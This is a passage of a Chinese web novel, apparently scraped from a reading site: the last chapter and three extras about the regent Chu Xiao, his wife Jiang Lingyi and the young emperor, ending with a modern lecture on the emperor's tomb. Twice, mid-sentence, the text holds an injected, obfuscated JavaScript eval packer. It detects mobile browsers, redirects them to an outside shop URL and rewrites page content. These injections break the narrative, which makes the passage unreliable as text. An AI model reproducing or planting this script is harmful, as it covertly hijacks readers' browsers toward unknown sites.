当时事情闹得很大,有喝醉了的两个千户拦住了姜令仪,刚口花花了两句,就被小玉两拳打倒了。 虽然知道姜令仪没什么事,楚萧还是发了好大的火,撸了那两个千户,还亲自盯着他们受刑。 这还不算,姜令仪给他出了个主意,以后偷偷喝酒被抓了,也不打板子了,直接罚钱,抓住一次罚一两银子,并且以后升职也会考虑在内,相同功劳下,偷喝酒的升职机会肯定小。 这个规定一出,军营里喝酒的人大幅度减少,而且还有一个比赛,违纪最少的组会有奖励。 发奖励的那天,楚怀谦还跟着去看了,所以他是知道军中大力禁酒的。 虽然不明所以,鲁将军还是把喝酒的危害说了一遍,楚怀谦兴致勃勃的听着,最终叹道:“诸位辛苦了,不过喝酒确实误事,孤也打算在其他军队实行禁酒制度,这些稍后再谈,今日不能喝酒,那好菜管够,大家敞开了吃,听说猪肉是咱们凉州特产,大家也品评一下,看京城的猪肉做的如何。” 他好像就是随口提了那么一句,但是那些老狐狸心里就已经有了数,知道他这是不满宫中侍卫的风气了。 现在贴身保护楚怀谦的侍卫都是楚萧的心腹,但是宫里的侍卫有很多,除了那些关键位置换上了自己人,其他的人他都没动,但是楚怀谦根本忍不了那些人占着位置无所事事。 能塞到皇帝跟前当侍卫的,都是家里有些本事的人,他们想让自家孩子在宫里混个脸熟,有了好印象,那后面的升迁可就容易多了。 以至于现在宫里全是关系户,当值的时候喝酒耍钱都是常事儿,前一阵子被楚怀谦狠狠罚了一批人,现在看着还像点样子。 他打算把这些侍卫也都训练起来,就算比不上边关那些真刀真枪上战场的将士,也不能差太多了。 这些都是慢慢要考虑的事情,眼下还是吃饭最重要。 众人往皇宫里面走去,这次是楚萧和楚怀谦并排走在最前面,楚萧本来是想后退一步的,但是楚怀谦拉着他的衣摆,要和他说悄悄话。 于是后面的大臣就眼睁睁看着他们两个越走越近,楚萧侧耳听着太子说话,看背影,真的很像是父子了。 甚至许多大臣回想了一下,他们跟自己的亲生儿子都不会这么亲密,这样的感情,会是假的吗? 至于他们好奇的楚怀谦在跟楚萧说什么,他在给于敏之告状:“爹,你别看那小子表面上乖巧,其实他最是心黑了,每次我都会被他阴,娘都快被他装出来的表象骗到了。” 楚萧一只手放到了他后脖颈,稍微力捏了捏,问他:“你打架的时候不使阴招?” 楚怀谦:“你怎么知道我们打架?” “哼,你娘写信的时候提了。” 楚怀谦缩了缩脖子,好吧,他就是想提前告个刁状,没想到被识破了。 他们两个好久没见了,写信自然比不上见面来的亲近,一见面,两个人就自然而然的聊了起来,把后面跟着的人都屏蔽在外了。 “爹,一会儿咱们提前走,娘等着我们呢。” “那一会儿快点。” “好。” 他们两个商量的还挺好的,但是人生不如意事常□□,事情常常不会按照他们预想中的发展,楚怀谦一听有人开始说楚萧的功劳,就在心里大呼完蛋。 果不其然,原本还其乐融融的庆功宴,瞬间就分成了好几派,有支持重赏的,有反对的,有浑水摸鱼想捞点好处的,也有端水大师哪方都不想得罪的。 幸亏将士们不在这里,楚怀谦松了一口气,要是让他们知道,其实这些大老爷们吵起架来比村口大娘吵得还凶,这不就有损朝廷威严了吗? 以前他还能耐着性子听他们打嘴仗,但是今天他实在没有心情。 他娘和于敏之还在后面等着呢! 楚怀谦已经把怎么封赏盘算好了,刚想开口,就看见楚萧朝他使了个眼色。 让楚怀谦闭了嘴,楚萧自己发问:“诸位觉得本王的功劳如何?” 所有人都不吭声,他的功劳很大,这毋庸置疑,有人开口:“但是摄政王权柄太重,恐会引起争端。” 说到底,他们就是怕楚萧权利过大,会损害他们的利益,所以才声势浩大的逼着太子削减他的权利,在他们的想法里,太子一定会配合他们的,因为摄政王权利太大了,最先损害的就是太子的利益。 理所当然的,他们认为太子会站在他们这边的。 但是让他们失望了,楚怀谦还真没拿这些当回事儿,按照他的想法,他打算这些年先把所有的权利集中到楚萧手上,然后等他年纪大点亲政,直接拿回来就好了。 他唯一担心的,是楚萧不愿意要这些权利。 没错,说起来别人可能不相信,一人之下万人之上的摄政王,他其实不爱在阴谋诡计不断的京城,前世是为了宫里的太后娘娘,今生是为了地位不稳的小太子,他自己的心从来都不在京城。 楚萧确实很不耐烦这些权力之争,他环顾一周,凛冽的眼神让那些吵嚷的大臣闭上了嘴,他问:“那谁能接手本王的权利?是你?还是你?” 被他点到的人全部噤声,就 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就在他们思索如何从中获取最大利益的时候,最上首的楚怀谦和楚萧偷偷溜走了。 姜令仪正坐在桌边等着他们父子俩。 于敏之在他们进门的时候就站了起来,有些拘谨:“姐夫。” 他和楚萧也就见过几面,不过对从小生活中凉州的孩子来说,楚家人就是他们崇拜的对象,大一点的崇拜楚将军,年纪小一点的偶像都是楚萧。 现在自己的偶像成了姐夫,于敏之到现在还是觉得有些不真实。 楚萧拍了拍他的肩:“坐。” 他自然而然的坐到了姜令仪身旁,手搭到了她的腰上:“怎么进宫了,不是等我回家吗?” 姜令仪笑着看两个孩子斗嘴,闻言回道:“谦儿说想一起吃饭,我就过来了。” 楚萧委屈:“为什么总要考虑他?宫里不自在,还是咱们两个在家庆祝比较舒服。” 被嫌弃了,楚怀谦非常郁闷,提醒他们:“我能听得见。” 姜令仪牵住楚萧的手,既是安抚也是警告,这人自从开荤之后就很不正经,多大的人了还跟孩子们吃醋。 “谦儿,敏之,快坐。”姜令仪喊他们:“菜马上齐了,准备吃饭了。” “来了。” 饭桌上没有食不言寝不语的规矩,姜令仪就问楚萧接下了的安排:“要一直待在京城了吗?” “短时间内在京城了,等谦儿地位稳了之后,我还想去把匈奴和突厥打进我们的版图,然后我们两个就去周游世界,如何?” 姜令仪点头:“好啊,那我就趁着这几年多赚钱多修路,等咱们以后出行还能舒适便捷一些。” 他们都说以后的规划,于敏之也畅享了一番:“我现在会好好学习,希望日后能和姐夫一样,做一个大将军,去看看海外是不是也有其他的国家。” 如果有的话,那就太好啦。 楚怀谦左看右看,忽然想到了今天的那些普通将士们,里面有他认识的,也有他不认识的,还有那些些他有过几面之缘,如今却长眠于地下的将士,他深深吸了一口气,语气沉痛。 “我想当一个好皇帝,不求后世传颂之功,只希望在有生之年,我的百姓可以温饱无忧。” 他的要求也不高,只希望他的子民,以后不会饿死冻死,那他已然就此生无憾了。 楚怀谦举起了手里的葡萄汁:“为了百姓安居乐业。” 楚萧:“为了国家繁荣昌盛。” 于敏之:“为了扩大海域版图。” 姜令仪:“为了我们早日退休,来,干杯。” “干杯。” ————【完结】 96. 第 96 章 96番外1 京城的冬天是真的很冷,路上的行人裹紧了身上的棉袄,弓着腰,缩着手,买了一碗热腾腾的豆浆,配上两根刚出锅的油条,美得很! “王老板,这么冷的天儿还出来摆摊儿?” 被换作王老板的中年男人憨厚的笑了笑:“趁这两天多攒些钱,过个好年嘛。” 现在临近年关,大部分的摊子都关了门,家家户户都飘起了香味,大家各显身手,准备年货,就算是平日里再抠搜的人家,也会准备一两个硬菜来迎接客人。 “王老板,你这摊子每天挣得可不少,瞧瞧,二层楼都盖起来了。” 王老板:“这全赖街坊邻居照顾我的生意,今年我那两个小子成亲,闺女也该出门子了,总要给他们多攒点钱。” 来这里吃饭的大多都是邻居,他们也不是真的嫉妒他赚钱,大家都知道这是辛苦钱,只是凑一起调侃罢了。 “诶呦老王,谁不知道你家妮儿是个出息的,小小年纪就考上了八品主事,以后你就等着享闺女的福吧。” 听着他们羡慕嫉妒的话,王老板脸上的褶子都笑的平整了许多,他笑的合不拢嘴,还一直谦虚的摆手:“她就是赶上了好时候。” “是啊,现在可比咱们那时候好过多了。”一个胖大娘感慨:“谁能想到,短短几年就能过上这么好的日子呢?” 只要你不懒,随随便便找个活干就能养活自己,而且还有许多女子的岗位,女人不光只能在家相夫教子,柴米油盐,她们也能出来找活儿干,甚至现在已经有了许多女官,听说皇上现在已经有意增加女子科考了。 楚怀谦确实有这个想法,三年前先帝驾崩,他这个太子就升了一级,现在已经是大晋朝名正言顺的皇帝了。 和以前那些小小年纪就登基的皇帝不同,楚怀谦从当太子时就一直在接触朝政,他不必等到大婚再亲政,所以对时局的把握异常敏锐。 随着这几年姜令仪的努力,女人的价值不只是生孩子传宗接代了,她们有的成了赫赫有名的富商,有的发明了利国利民的好东西,越来越多的女人出现在各行各业,默默展现出了自己的价值。 以前也有女子可以考官,但是她们只能考九品主笔和八品主事,要是再往上升是很难的,而如今,也该正式到了让女子踏入朝堂的时候了。 随着这几年楚怀谦站稳脚跟,且摄政王和皇上之间的情谊丝毫不减,小福子的地位也是水涨船高,在宫里他就代表了皇上,谁不知道他深受皇上信任,就算是一品大员也要给他三分脸面。 但是小福子丝毫不敢懈怠,越是受信重,他反而越是谨慎。 “陛下,王妃娘娘和贵太妃在御花园举办了赏花宴,贵女们正在表演才艺呢,您要不要去凑个热闹?” “赏花宴?” 楚怀谦想起来了,姜令仪之前好像是说过要举办一个赏花宴来着,当时还说请他去,他只以为贵太妃无聊了才请了人进宫玩儿,他也没往心里去,没想到小福子又提醒了他一次。 小福子可不会是无心说出的这些话,必定是有人嘱咐过的,而能让小福子记在心里的,也只有姜令仪交代的事情了。 楚怀谦问他:“我娘让你提醒我的?” 小福子不敢抬头:“是。” 楚怀谦把手里的奏折放下,有些纳闷:“赏花宴怎么偏要我到场?” 他倒不会因为小福子听姜令仪的嘱托提醒他生气,这是他允许过的,他就是比较好奇姜令仪的目的,要知道他和贵太妃的关系实在是错综复杂到有些尴尬,所以他们都默契的避免了和彼此见面,姜令仪和贵太妃关系还不错,平常也不会让他们见面的啊。 楚怀谦实在好奇,把奏折往桌子上一扔,吩咐道:“把这些奏折搬到摄政王那里,就说王妃找朕,这些就拜托摄政王了。” 能偷懒,楚怀谦当然是求之不得了。 他心情很好的去了御花园,无端多了许多工作的楚萧,他的心情就不是那么美妙了。 但是这影响不了御花园里热闹的景象。 因着要宴客,御花园四周都有人守着,怕冲撞了里面的娇客,不过皇帝要来,谁也不会拦着他的。 还是楚怀谦听到里面的娇笑停下了脚步,他有些踟蹰,“里面全是未出阁的姑娘家,朕就这么进去也不太好吧。” 可惜还不等他想好是走是留,里面的人就被请安的声音惊动了。 听到“皇上万安”的声音,所有人的目光都看了过来,包括坐在上首的贵太妃和姜令仪。 到了这个地步,直接走就不可能了,楚怀谦从假山后面出来,径直朝着主位走去:“给贵母妃请安,王妃娘娘安。” 姜令仪招呼他到自己身边来:“皇帝怎么来了?” 楚怀谦眼神疑惑:不是你让我来的? 姜令仪挑眉。 他给自己找了一个借口:“摄政王请人给您捎句话,说要等您一起出宫回家,朕就当了一回鸿雁,来传一次书。” “既然来了,那就陪我逛逛吧。” “好。” 姜令仪和楚怀谦一前一后离开,剩下的人心思也全都不在赏花上了,她们一开始还不明白今天为什么叫她们来参加赏花宴,皇帝一出现,她们还有什么不明白的呢? 顿时,有人激动,有人忐忑,也有人犹豫。 贵太妃坐在上首,把底下所有人动物表情看得一清二楚,她们都还年轻,掩饰表情不到位,她扫一眼,就能把她们的想法猜的七七八八。 在宫里待了一辈子,贵太妃已经厌烦了这里的勾心斗角争权夺利,要不是姜令仪要以她的名义在宫中宴请众人,她现在还在行宫里住着呢。 她巴不得一辈子不再回来这个伤心地,所以这些年除非必要,她都是以给先帝守孝的名义待在行宫里,外面没那么多的规矩,她想干嘛干嘛,比在宫里自由多了。 但是这些小姑娘们可不这么认为,她们迫切的想进宫,想成为皇宫里的主人之一,那勃勃的野心挡都挡不住。 贵太妃也不想挡,她摆了摆手:“这里花儿啊草啊的都还不错,你们自己随意看看,不必待在本宫这里了。” 明眼人都能瞧出来,比起贵太妃,皇帝更加亲近信任摄政王妃,于是贵女们推辞两句,看贵太妃真的是这样想的,便三三两两的聚在一起赏花去了。 说是赏花,余光却一直注意着楚怀谦和姜令仪两个人的动静。 楚怀谦整个人都被看得不自在了,摸了摸鼻子,他小声问:“娘诶,你今儿是闹得哪一出,我怎么看不明白呢?” 姜令仪也跟着压低了声音:“你年纪不小了,你爹之前还说上朝的时候一直有人上书让你娶妻纳妃呢,正好借着宴会瞧瞧,看看有没有喜欢的。” 姜令仪融入京城贵妇圈子之后才知道,像这种年轻人的诗会赏花宴之类的,其实就是变相的相亲宴,要是有看对眼的,就回家和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221376|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母提一提,两家暗地里通过气之后,男方就会遣媒人上门了。 但是楚怀谦一直在宫里关着,出宫也就是到摄政王府吃吃喝喝,从来不出门,可以说是一个很宅的宅男了,让她去认识姑娘不太现实,姜令仪就只能另辟蹊径,直接在皇宫开了一个赏花宴。 楚怀谦一副牙疼的表情:“娘,我还小呢,怎么就考虑结婚的事情了?” 姜令仪点头:“我也觉得你还小,但是你爹说的也有道理,可以先定下来,然后把她接到宫里培养一下感情,等你们大点了再成亲。” 他这年纪最多也就是一个高中生,谈谈恋爱还不错,要是承担起生儿育女的责任就太超过了。 楚怀谦一听是楚萧的主意,立刻就明白了他的险恶心思,不就是前一阵子他求姜令仪进宫住了一段时间吗? 他就说,明明那些大臣都被他整的不敢吱声了,他娘怎么又想起这一茬儿了,原来问题出在这里了。 楚怀谦郑重地举起右手,拍了拍左胸:“我发誓,我真没有成亲的想法,娘,你也劝劝我爹,别整日想着让我成亲,我还小呢,等我有了这个想法,一定会和你说的。” 姜令仪还是很尊重孩子的想法的,听他的语气十分真诚笃定,也没有劝他以子嗣为重。 只是和他保证:“我会和你爹谈谈的,他也是担心你。” 她想了想,又说:“今天晚上吧,咱们一起吃个饭,林枫和景也已经到了京城,今天晚上请他们一起来。” “好啊。” 这几年楚怀谦一直跟他们有书信联系,但是一次面都没有见过了,他还是很期待和小伙伴的会面的。 现在于敏之还在找武师傅加练,一会儿要去催他洗漱,还要换身衣服打扮的精神一点,这可是他们的第一次见面。 楚怀谦还在心里默默盘算的时候,听到了“咚”的一声,落水声打断了他的思绪,他看了过去。 有一个贵女掉进了荷花池,正在水里扑腾,刚刚的落水声就是她弄出来的。 让人奇怪的是,站在水池边的贵女都动作一致的看向了楚怀谦,姜令仪也跟着看了过来。 楚怀谦莫名慌张,大声道:“看朕做什么,朕可不会凫水。” 于是原本还带着些不确定的目光,通通变成了看好戏的眼神。 谁还看不出来,这人不就是想着剑走偏锋引起皇上的注意吗? 周围的宫女嬷嬷多的很,几乎是一落水,就有人下去救人了,也不必担心她们的安全,但是姜令仪办宴会的兴致彻底没了,“让赏完花就散了吧。” 待走远了,姜令仪才问:“你看清了没有,这姑娘是自己跳水里的?” 楚怀谦和姜令仪都是听到声音才看过去的,并不知道之前发生了什么,两人一致把目光投向了小玉。 小玉摇头:“没有看清。” 有一个小太监看见了:“是后面一位姑娘绊了她一脚。” “娘,你看看,这要是许多女人进了宫,我是不是有点危险了。” 是挺危险的,姜令仪脑海里瞬间闪过了几个画面,都是妃子勾结外臣杀了皇帝的剧情,历史上这样的事情可不少的。 都说一入宫门深似海,在单纯的姑娘,在权利的浸染下都不能确保她一直如初,一个就很难搞了,要是来一群…… 姜令仪打了个冷颤,摇了摇头,还是算了,保命要紧。 孩子们的姻缘,还是随缘吧。 97. 第 97 章 97番外2 打消了姜令仪给他找对象的念头之后,楚怀谦心情十分不错,姜令仪说要出宫准备晚膳,他也没拦着没跟着,而是兴致颇好的去了演武场。 于敏之正在和武师傅对练,和楚怀谦现在仍然三招之内被制服不同,于敏之现在已经可以和师傅打的有来有往了。 两人对了一掌同时后退,又默契的停下了攻势,楚怀谦就知道这是告一段落了。 他把毛巾递过去,于敏之动作自然的接了过去,一看就是做了无数遍的动作,“谢了。” 楚怀谦“嗯”了一声,然后问他:“今天的练习结束了吗?我们晚上出去吃饭,一会儿你好好打扮一下。” 他从未见过如此不修边幅的人,也不是说他邋遢,于敏之每天把自己收拾的倒是挺齐整的,楚怀谦受不了的是,这人两件衣服能换着穿半年,等过了这个季节,再换着穿其他季节的两件衣服。 冬天的时候还能接受,夏天就不行了,楚怀谦觉得他的衣服都被洗的发白了。 不说姜令仪给他准备了多少套衣服,就是在宫里住着,楚怀谦也吩咐了针线房要给他准备衣服,但是他的衣服在柜子里堆了许多,他平日里穿的也就那两套,让楚怀谦实在无语。 于敏之也有话说,他觉得衣服常穿才会舒服,那些新衣服总要磨合一段时间,所以他才更喜欢旧衣服。 这次出门,楚怀谦强制性让他穿了一套前几日刚送来的衣服,除了颜色不同,他们两个穿的衣服款式一模一样,楚怀谦审视了一番,满意点头。 于敏之不舒服的扯了扯衣领,被楚怀谦把手拍了下去,他不解:“去姐姐家吃饭,为什么要这么隆重?” 以前也不是没去过啊,怎么今天搞得这么正式。 楚怀谦瞪他,这可是和新朋友见面,不得留个好的第一印象吗? 于敏之不太懂,但是看他想要杀人的目光,他识相的闭上了嘴。 好吧,反正也就难受一会儿,他忍忍。 他们两个在这里磨磨蹭蹭的倒腾衣服,楚萧已经快速忙完工作回家告状去了。 “谦儿真是越来越不像话了,他居然把自己的奏折扔给我。” 姜令仪在菜单上添添减减,又翻了一页,楚萧也跟着动了动目光,“要不然我早就能回来陪你了。” 都说这些年摄政王的威势越来越重,但是在姜令仪看来,他其实是越来越孩子气了,一直都在和楚怀谦乐此不疲的斗法,争夺自己的家庭地位,两人有输有赢。 一开始她还试图给他们调解,后来就懒得管了,反正两个人关系好的很。 姜令仪的注意力一直在菜单上,楚萧也忍不住跟着她看了菜单一眼,看到许多他没见过的菜名,然后忍不住再看一眼。 看着看着,就有些忍不住嫉妒了,“为什么这些菜我都没见过?” “哪个?” “珍珠翡翠白玉汤,青龙卧雪,还有绝代双骄,我都没吃过啊。” 姜令仪掩饰的咳嗽了一声,问:“你想吃?” 这本来就是她恶作剧般加上来的一些菜名,本来想着恶搞孩子们呢,没想到楚萧先上当了,她又确认了一遍,“你真的要点吗?” 此时的楚萧已经完全被嫉妒冲昏了头脑,完全看不出姜令仪脸上揶揄的表情,笃定点头:“我要吃。” “那好吧,既然点了就要吃光哦。” 楚萧点了头,才直觉有些不对劲,不过他也没有多想,心心念念的是这些菜他是不是第一个点的。 姜令仪点头之后,他便恢复了平日里矜贵冷傲的摄政王形象。 姜令仪想起楚怀谦拜托自己的事情,问他:“为什么突然想着要给谦儿选妃呢?是大臣们逼得太紧了?” 楚萧摇头,那小子一个人舌战群儒,把许多劝他早日成亲的大臣都喷了一遍。 那些说“不孝有三,无后为大”的,被他怼:“我那些兄弟留的后就不是后了?” 为彰显友爱,楚怀谦对他那些兄弟还不错,毕竟他们是因为先皇后落下的残疾,心境平和的他就多给些赏赐,那些愤愤不平的,楚怀谦就把人打发远点,别的没看出来,他这些兄弟们生娃倒是很热衷,皇室不缺子嗣。 大臣们总不能说让皇帝留个后,万一以后有个什么万一,也后继有人,皇帝还那么年轻,他们这话说出来不是咒人家吗? 所以就闭嘴了。 还有些说成亲以后就是大人了,暗指意味明显,楚怀谦直接甩出了他辛辛苦苦批的折子,说他这些年一直在处理朝政,到底如何大家也都明白。 他们才想起来,现在这个摄政王和历史上可参考的一点儿都不一样,他不争权不夺利,恨不得把所有的权利都塞给皇帝,然后早点回家陪夫人去。 因为这,不知道多少官员回到家就被自家老妻鼻子不是鼻子眼睛不是眼睛的针对了,让陪着她们去养花花草草,逛首饰铺子之类的,以前他们都是以忙为借口推脱了,现在这个借口就不好使了。 他们夫人会说:“你忙?你再忙能有摄政王忙?人家王爷都会时不时陪王妃逛街呢,每次参加宴会王爷都会在门口等着接王妃回家,你倒好,没时间?全都是借口。” 那一阵子楚萧走到哪儿都能遇见同僚们幽怨的目光,不过他从不在意这些,就连听到他们说他惧内,他还能当作是对他的夸奖。 所以大臣们想以此离间摄政王和皇帝之间的感情,大抵是不太可能的了。 “嗷呜。” 姜令仪听到胖猫在喊她了,他的叫声翻译到她的耳朵里,就是“娘,你在哪儿呢?” 一开始姜令仪还有些不习惯,随着胖猫越来越大,他的语言系统好像被开发了一样,不仅她能听懂他的叫声具体是什么意思,就连楚萧他们也能明白他常用的叫声是干什么的。 比如现在,楚萧就知道,“胖猫喊你呢。” 姜令仪揉了揉额头,她现在总算是明白了,为什么说“不怕孩子吵,不怕孩子闹,就怕孩子安安静静不作妖”这句话的含金量了。 胖猫的年纪算起来也不小了,但是感觉他一点儿都没长大,姜令仪猜测他应该是喝了灵泉水,延长了寿命,所以现在的心智发育就慢了些。 还没成年,那就还是个宝宝呢。 姜令仪放下菜单朝外走,要是不回应他,估计马上就要冲进屋子里了。 “怎么了?” 胖猫被小玉拦下了,之前胖猫是可以随意出入他们的屋子的,但是有一次好巧不巧,胖猫正好打断了姜令仪和楚萧的亲热,就被楚萧禁止他进屋了。 那次难得是楚萧主动勾引她,他穿着特质的薄纱,肌肉若隐若现,姜令仪正被馋的移不开目光的时候,熊孩子就出来打断了。 虽然晚上还是继续了这件未完成的事,姜令仪也没有阻止他惩罚胖猫,至少他们两个单独待在屋子里的时候是不能让胖猫进来了。 只见小玉伸手拦住胖猫,却笑的前仰后合的,正好她半边身子挡住了胖猫,姜令仪也看不见是怎么个情况。 好在小玉听见她出来,主动喊她:“王妃快来看,猫主子不知道从哪儿学的,怪模怪样的。” 姜令仪和楚萧一走近,胖猫就马上给他们展示自己新学的技能,他抬头起,嘟起了嘴巴,不厚的嘴唇硬是被他噘成了嘟嘟唇。 姜令仪一下子憋不住笑了,问:“这是打哪儿学的?” 有看见胖猫踪迹的下人解释:“厨房养了几只小羊打算做全羊宴,有一只羊喜欢这样噘嘴,猫主子应该是和它学的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254736|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再看胖猫,他还噘着嘴等表扬呢,姜令仪忍着笑夸了他两句:“好看,快出去玩儿吧,等你弟弟他们来了你再表演。” 胖猫心满意足的出去了。 姜令仪和楚萧感叹:“这恐怕就是近朱者赤近墨者黑吧,学好容易学坏难,孩子的模仿能力也太强了。” 这都能跨物种来模仿了。 楚萧不能再同意了:“让谦儿离胖猫远点儿,他把胖猫带的越来越皮了。” 他和姜令仪多稳重的人啊,胖猫变得调皮了,一定是楚怀谦带的。 姜令仪不理他。 没一会儿,林枫就跟杨和景就带着礼物上门拜访了,姜令仪笑着说:“来就来,还带什么东西?” 杨和景恭恭敬敬给他们行完礼,才道:“不是什么贵重东西,是学院里的师兄弟研究出来的一些小玩意儿,我们拿来借花献佛了。” 林枫长了几岁,还是跳脱的不行,他正亲亲热热的围着楚萧,想跟他讨教几招。 姜令仪便先拆了礼物,是书院学生捣鼓出来的万花筒,姜令仪拿着爱不释手的把玩:“不错,看来他们还是很有创新的,这东西我很喜欢。” “您喜欢就好,能入了您的眼,总算不负您建书院的苦心了。” 离开凉州多年,姜令仪还挺好奇那里发展的如何了,正好杨和景也不是死读书的人,师父尝尝带着他去田间乡野走访,姜令仪想问的东西他都能对答如流。 自他们走后,凉州发展的一直很平稳快速,有学生研究出了许多利于开荒的工具,官府也是大力支持,那里俨然已经成为了一个繁华的商业中心,外面的商人络绎不绝。 而且凉州是第一个出现男女同工同酬的城市,这里很多工作岗位原本就是姜令仪特意留给女员工的,男女都出来挣钱,自然生活就好了很多。 “那很好。” 听到自己的老家发展的不错,姜令仪自然是开心的,凉州是她事业的起源地,那里的人热情可爱,姜令仪一直都记在心里的。 等楚怀谦和于敏之来了,几个孩子就相约着去看胖猫表演去了,人一多,胖猫就开始人来疯,不仅给他们表演噘嘴巴,还想着教他们学几门外语。 “喵。” “汪。” “咩。” 这几种声音一出,直接让现场沉默了。 林枫扒着胖猫的嘴巴,想看看是不是他吃了猫狗羊,他们还没死透,发出了求救的声音。 楚怀谦制止了他:“应该是胖猫学的,他模仿能力还是很强的。” “这也太聪明了。” “是啊,胖猫就跟个孩子一样,注意不要把他带坏了。” 姜令仪忍不住强调:“他现在特别爱模仿别人。” 楚怀谦开始往饭桌的方向走,还非常无辜的说:“胖猫怎么会跟我们学坏呢,我们多久才见一面?” 姜令仪也不戳穿他时不时就勾着胖猫和他回宫的事,敷衍的点了点头。 几个年纪相仿的孩子坐在一起谈天说地,姜令仪和楚萧也靠在一起说些悄悄话,等楚萧点的那些菜上来,姜令仪亲自给他介绍。 指着糖拌西红柿说:“这是火山飘雪。” 指着青椒炒红椒:“这是绝代双骄。” 还有菠菜豆腐汤是翡翠白玉汤,糖拌青瓜是青龙卧雪。 楚萧直接沉默了。 姜令仪笑趴在了他的肩膀上,为了在孩子跟前给他留点面子,姜令仪只说这是她找的很有意思的菜名,孩子们都是一顿夸,说她有巧思。 不知不觉,茶水已经换过几轮了。 太阳已经落山,月亮也已经悄悄爬上了半空,也到了该分别的时候了。 不过,所有的离别,都是为了下一次更好的遇见。 98. 第 98 章 98番外3后世 一大早的,教室里就活跃起来了,尤其是历史系的学生们,一个个就跟打了鸡血一样,原本没有早八的学生都早早的坐到了阶梯教室里,不受青睐的第一排早就坐满了人,还有好些拿了小马扎坐在旁边过道上的,都神情激动的和身边的同学讨论着什么。 有一个拿着咖啡进来的女生,看到这么多人,还以为走错了教室,退出去看了看门牌号,“没错啊,阶梯教室303,今天的思修就是在这里的,但是平时也没这多人啊?” 她还在怀疑人生的时候,就看到室友站起来朝她挥手:“小悦,这里。” 赵悦定神,行了,这肯定没走错教室,她往里边走,一边走一边嘴里不停地说:“不好意思,让一下。” 历经千辛万苦,她才到了室友在的位置,坐下之后,赵悦忍不住八卦:“这是怎么回事儿?咱们这么多同学吗?” 她们的位置比较靠后了,在这里看真的很壮观,感觉他们学院的学生都出动了,才能把这么大的阶梯教室挤得熙熙攘攘的。 “你还不知道呢,早上五点多出的通知,说要开始挖晋文帝的墓了,考古系的老师是咱们学校的,特意在第一现场给咱们直播,就征用了阶梯教室,幸好我来得早占了位子,要是再晚一点,连站的地方都没有了?” 赵悦忍不住兴奋了起来,用了很大的力气才控制住自己没有尖叫:“晋文帝?是我想的那个晋文帝吗?” “除了他,还有谁能叫晋文帝呢?” 要知道晋文帝在后世,拥有一大批的粉丝,他也是唯一一个正剧比偶像剧受众还多的人物,不是没有人想改编他的故事,奈何这人一辈子是个寡王,一段感情都没有,他们瞎改只能被喷,于是无奈放弃了这块大蛋糕。 也有人另辟蹊径,磕起了晋文帝和他肱股之臣的绝美兄弟情,还别说,这个赛道还真被他们闯进去了。 赵悦也是垂直入坑的其中之一,现在听说是晋文帝的墓,也是激动的直掐自己的胳膊。 教室前面的大屏幕出现了画面,偌大的阶梯教室马上安静了下来,不过出现在镜头里面不是他们心心念念的文帝墓,而是一个小老头的脸。 这是考古专家杨教授,他笑眯眯的给大家介绍:“各位同学大家好,今天咱们来现场看一下晋文帝的墓,我知道大家都很着急,但是先不要着急,容我再给大家回顾一下晋文帝的生平。” “晋文帝,杨瞻,字怀谦,常自称楚怀谦,和他养父楚萧的字十分相似,听起来像是兄弟一般,据说是文帝养母随口取的名字,意在让他们两人像兄弟一般相处。” 赵悦激动的抓住了室友的手:“这个我知道,晋文帝的养父是摄政王,历史上排名第一的妻管严,五年团灭了吴国、突厥和匈奴,直接完成大一统的神人,楚萧楚怀信。” 科普了一番,就听到杨教授继续:“文帝一生勤勉,无后无子,他仿佛把所有的精力和热情都献给了自己的国家,而他更多的情感,大概都给了摄政王夫妇和他那几个从小到大的兄弟们,据说他对这几个人十分优容,同吃同睡都是基本操作,在摄政王夫妇去世之后,已经退休的晋文帝直接哭到昏厥,原本康健的身子每况愈下,由此也可以看出,晋文帝和养父母感情十分之深。” “再来看晋文帝的那些肱股之臣,用现在的话来说,那都是他的发小铁杆,所以他们在朝堂上配合的也格外默契。无论是对世家的打压还是新政的推行,这几个人都是靠着彼此的默契才能对抗了所有反对的旧臣,曾经君臣几人还合伙演过皇帝命不久矣即将驾崩的戏码,临终遗愿就是实施变法,大臣们同意了,他的病也好了。” “说这些可能还不够直观,直接说这些人的职位吧,杨和景官拜宰相,一生都在兢兢业业的搞变法,破坏了不知道多少人的利益,最终还能全身而退,于敏之,文帝的小舅舅,文帝给人给钱还给造船,支持他训练海上军队,成为了探索海域第一人,大将军林枫则是接替了摄政王楚萧的职位,掌管天下所有兵马,林枫的父亲,则是赫赫有名的别鹤先生,楚萧每场重要战役里,都有他的身影,别管这些人手里的权利有多大,他们最后都是寿终正寝的,晚年还曾一起相约出游,可见感情好到了什么地步。” 有学生提问:“老师,晋文帝和谁关系最好呢?” 杨教授想了想,说:“按史册上记载的来说,文帝应该和于敏之将军关系是最好的,因为林枫杨和景二人都已经成家,老了也可以含饴弄孙,他们两个单身汉自然一起出去游玩更多了。” 底下有女生兴奋的尖叫起来,杨教授无奈补充:“我知道大家磕什么cp,但是他们两人是名义上的舅甥关系,就算没有血缘关系,那也是在一个族谱上的,古代对这些看得很重,只要在一个族谱上,那就是一家人。” 